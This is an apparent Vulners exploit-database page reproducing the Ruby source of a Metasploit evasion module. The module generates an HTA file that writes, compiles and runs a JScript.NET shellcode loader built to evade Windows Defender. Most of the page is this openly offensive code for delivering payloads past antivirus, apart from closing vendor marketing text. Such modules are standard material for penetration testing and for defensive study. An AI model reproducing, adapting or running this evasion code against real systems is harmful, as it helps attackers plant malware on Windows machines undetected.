Lucene search
K

Microsoft Windows Defender Evasive JS.Net and HTA

🗓️ 06 Oct 2018 14:20:15Reported by sinmygit, Shelby PaceType 
metasploit
 metasploit
🔗 www.rapid7.com👁 67 Views

Microsoft Windows Defender Evasive JS.Net and HTA module for Metasploit, generates HTA and JScript.NET file to bypass Windows Defender interference

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Evasion

  def initialize(info={})
    super(merge_info(info,
      'Name'        =>  'Microsoft Windows Defender Evasive JS.Net and HTA',
      'Description' =>  %q{
        This module will generate an HTA file that writes and compiles a JScript.NET file
        containing shellcode on the target machine. After compilation, the generated EXE will
        execute the shellcode without interference from Windows Defender.

        It is recommended that you use a payload that uses RC4 or HTTPS for best experience.
      },
      'Author'      =>
        [
          'sinmygit',    # PoC
          'Shelby Pace'  # Metasploit Module
        ],
      'License'     =>  MSF_LICENSE,
      'Platform'    =>  'win',
      'Arch'        =>  ARCH_X64,
      'Targets'     =>  [ [ 'Microsoft Windows', {} ] ]
    ))

    register_options([
      OptString.new(
        'FILENAME',
          [
            true,
            'Filename for the evasive file (default: random)',
            "#{Rex::Text.rand_text_alpha(3..10)}.hta"
          ])
    ])
  end

  def run
    # This is used in the ERB template
    file_payload = Rex::Text.encode_base64(payload.encoded)
    evasion_shellcode_path = File.join(Msf::Config.data_directory, 'exploits', 'evasion_shellcode.js')
    jsnet_code = File.read(evasion_shellcode_path)
    fail_with(Failure::NotFound, 'The JScript.NET file was not found.') unless File.exist?(evasion_shellcode_path)
    js_file = ERB.new(jsnet_code).result(binding())
    jsnet_encoded = Rex::Text.encode_base64(js_file)
    # This is used in the ERB template
    fname = Rex::Text.rand_text_alpha(6)
    arch = ["x86", "x64"].include?(payload.arch.first) ? payload.arch.first : "anycpu"
    hta_path = File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta')
    hta = File.read(hta_path)
    fail_with(Failure::NotFound, 'The HTA file was not found.') unless File.exist?(hta_path)
    hta_file = ERB.new(hta).result(binding())
    file_create(hta_file)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Mar 2023 03:30Current
0.2Low risk
Vulners AI Score0.2
67